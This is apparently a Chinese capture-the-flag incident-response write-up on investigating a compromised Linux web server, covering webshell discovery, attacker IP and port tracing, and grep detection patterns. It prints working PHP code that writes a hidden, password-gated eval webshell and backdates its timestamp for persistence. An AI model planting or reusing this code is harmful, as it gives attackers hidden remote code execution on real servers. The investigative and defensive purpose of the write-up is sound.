第一章 应急响应- Linux入侵排查

news/2025/10/19 4:41:06/文章来源:https://www.cnblogs.com/HalfwayMousie/p/19148909

第一章 应急响应- Linux入侵排查

1、web目录存在木马,请找到木马的密码提交

这里告诉我们web目录存在木马 我们来到/var/www/html下面看到有一个1.php 使用cat命令查看发现是一句话木马,木马密码就为POST传参的值

image-20251017200754817

flag{1}

2、服务器疑似存在不死马,请找到不死马的密码提交

指恶意软件中的一种 persistence(持久化)或自愈机制:即使你杀掉运行的进程、删除文件、甚至重装某些软件后,恶意程序仍能通过其它途径重新出现或继续控制主机。
变体包括“自愈型后门”、“复活木马”、“固件/引导级后门”等。

这里可以使用命令查看木马文件在哪里

find ./ -type f -name "*.php" | xargs grep "eval("

image-20251017201313581

可以看到这里有个md5加密值拿去解密一下获得flag

flag{hello}

find ./ type f -name ".jsp" | xargs grep "exec("
find ./ type f -name "
.php" | xargs grep "eval("
find ./ type f -name ".asp" | xargs grep "execute("
find ./ type f -name "
.aspx" | xargs grep "eval("

//对于免杀Webshell,可以查看是否使用编码
find ./ type f -name "*.php" | xargs grep "base64_decode"

xargs:xargs命令用于将输入数据重新格式化后作为参数传递给其他命令。在这个命令中,xargs将find命令找到的文件列表作为参数传递给grep命令。

grep "eval(":grep命令用于搜索文本,并输出匹配的行。这里"eval("是grep命令的搜索模式,用于查找包含eval(字符串的行。

3、不死马是通过哪个文件生成的,请提交文件名

这里我们cat index.php文件

image-20251017201454378

$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php');
usleep(3000);

file_put_contents(...):在网站根目录写入一个隐藏文件 .shell.php,内容是一个 webshell

webshell 内容逻辑:如果 $_POST["pass"] 的 MD5 等于 5d41402abc4b2a76b9719d911017c592(这是 md5("hello")),就对 $_POST['cmd'] 的内容做 eval() —— 任意 PHP 代码执行

system('touch -m -d "2021-01-01 00:00:01" .shell.php');:把这个文件的修改时间改成 2021-01-01,目的是伪装/隐藏(不让人通过最近修改时间快速发现)。

usleep(3000);:短暂睡眠,微小延迟(没实质作用,可能用于避开某些检测时序)。

这是一个后门 webshell,密码是 hello(因为 md5("hello") == 5d41402...)。攻击者/恶意代码在每次 index.php 被访问时都会尝试写入(或覆盖)这个后门并隐藏时间戳。

至此我们确定文件为

flag{index.php}

4、黑客留下了木马文件,请找出黑客的服务器ip提交

这里我看了apach的日志和ssh的没有只能回到刚刚那个目录启动木马文件了,我们这里富裕权限然后启动这个木马文件

image-20251017202427041

接着在另外一个终端再次连接ssh观察一下什么情况 使用命令

netstat -antlp | more

image-20251017202747125

可以看到木马文件的地址

flag{10.11.55.21}

这里你使用ss -antlp是看不出来的ss -antlp

  • ss-l 表示 只显示监听的套接字(LISTEN)
  • 因此它不会显示 ESTABLISHED、SYN_SENT 等活跃连接

✅ 它适合查“谁在监听端口”
❌ 不适合查“谁在建立连接”netstat -antlp

  • 同样的参数里,netstat-a 会列出所有连接(包括监听 + 已建立 + 等待状态)
  • 所以你在这里看到:

ss -antlp 只显示监听端口(谁在等连接)
netstat -antlp 显示监听 + 已连接状态(谁在通信)

5、黑客留下了木马文件,请找出黑客服务器开启的监端口提交

这里端口号就是木马文件后面的

flag{3333}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/939190.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

浏览器多开的方法

浏览器多开脚本的核心原理是通过创建带有特定启动参数的浏览器快捷方式,实现多实例独立运行。其技术实现主要基于以下几个关键机制:•脚本为每个浏览器实例创建独立的用户数据目录(如C:\多开浏览器\1、2、3...) •…

10月17号

今天进行了复习。 和外语学习。

第一章日志分析-mysql应急响

第一章日志分析-mysql应急响 1、黑客第一次写入的shell flag{关键字符串}在/var/www/html/sh.php下面有个php文件,查看文件内容flag{ccfda79e-7aa1-4275-bc26-a6189eb9a20b}2、黑客反弹shell的ip flag{ip} 在/var/log…

操作系统应用构建(十二)RustDesk 用户服务器搭建——东方仙盟筑基期

操作系统应用构建(十二)RustDesk 用户服务器搭建——东方仙盟筑基期pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: &quo…

超好用的浏览器多开小工具!轻松管理多个账号,可以无限制使用其他插件

vx:llike620 给大家分享一个我最近在用的神器脚本,解决了我多年来的烦恼——浏览器多开问题! 这是什么工具? 简单说,就是一个小程序,能帮你一键创建多个“独立”的浏览器。每个浏览器都像新装的一样,互相不干扰!…

微服务组件-Eureka 科技详解

微服务组件-Eureka 科技详解pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco",…

python-IDLE定制界面大小

找到: C:\python37\Lib\idlelib\config-main.def 这个文件 修改这个值即可

新学期每日总结(第10天)

今日 相较昨日 复习递归

List.subList() 返回值为什么不能强转成 ArrayList

先说结论 很多人用 subList() 的时候,可能会想当然地认为它返回的是一个新的 ArrayList。但实际上,subList() 返回的是原 List 的一个视图(View),并不是一个独立的 ArrayList 对象。 // 这样会报 ClassCastException A…

奶奶都能看懂的 C++ —— 手把手指针

用通俗易懂的方式讲解指针和引用,通过生活化比喻帮助初学者理解内存地址、解引用等核心概念,适合零基础学习者轻松入门 C++ 指针。引用 在正式介绍指针之前,先来看看什么是引用。 int a = 10; int &ref1 = a;你…

10/17

今天没课

CSP-2024 T4

T4 题意 一共进行k轮比赛 每轮的第G场有一个标签,表示擂主是编号小的还是大的那个 擂主的获胜条件为能力值大于等于当前的轮数 求最后所有可能的胜者的编号之和 每场比赛人数必须为2的次幂,不足的可以补过来任意能力值…

NOIP2021 T2

给定整数 \(n, m, k(k \le n \le 30, m \le 100)\),和一个长度为 \(m + 1\) 的正整数数组 \(v_0, v_1, \ldots, v_m\)。对于一个长度为 \(n\),每个元素均不超过 \(m\) 的非负整数序列 \(\{a_i\}\),我们定义它的权值…

NOIP2021 T2

给定整数 \(n, m, k(k \le n \le 30, m \le 100)\),和一个长度为 \(m + 1\) 的正整数数组 \(v_0, v_1, \ldots, v_m\)。对于一个长度为 \(n\),每个元素均不超过 \(m\) 的非负整数序列 \(\{a_i\}\),我们定义它的权值…

从零开始实现简易版Netty(九) MyNetty 实现池化内存的线程本地缓存

从零开始实现简易版Netty(九) MyNetty 实现池化内存的线程本地缓存从零开始实现简易版Netty(九) MyNetty 实现池化内存的线程本地缓存 1. Netty 池化内存线程本地缓存介绍 在上一篇博客中,截止lab8版本MyNetty已经实现…

杏帘招客饮,在望有山庄

五道口体校赌石五字班小生,专业方向举棋不定中. 一些为了忘却的纪念: 曾经的记忆:编程模板合集 曾经的我:我的2022Updated on 2025/10/17 V1.0.0

洛谷 P8512

有长度为 \(m\) 的序列 \(a\)(初始全为 \(0\))以及 \(n\) 次操作,每次操作形如 \(l, r, v\),表示将 \(a_{l} \sim a_r\) 变为 \(v\)。现在给定 \(q\) 组询问,每组询问给定 \(l, r\),输出若依次执行第 \(l \sim r…

从libtorch_cuda.so中提取某个函数的sass汇编指令

研究cuda算子用得着。 用cuobjdump工具,linux window上都有。安装cuda toolkit后就有了,和nvcc一套的wget https://download.pytorch.org/libtorch/cu128/libtorch-shared-with-deps-2.9.0%2Bcu128.zip 下载后解压 c…

【题解】成外友谊赛

T1 舞蹈机器⼈题目大意: 给一个可以向四个方向移动的小点,对于每次移动,如果上或下⽅向进⾏了⼀次移动,那么,下⼀次就只能往左或右⽅向进⾏⼀次移动,反之亦然。 求该点可以到达的位置数量。STEP 1. 对于这个问题…

小程序商城客服系统

vx:llike620 网址:gofly.v1kf.com 微信小程序对接有两种方式:webview组件嵌入页面,小程序客服组件对接消息 使用webview组件嵌入聊天页面形式。这种形式更加的灵活可控,可以传递更多的信息给到客服,例如可以把用户…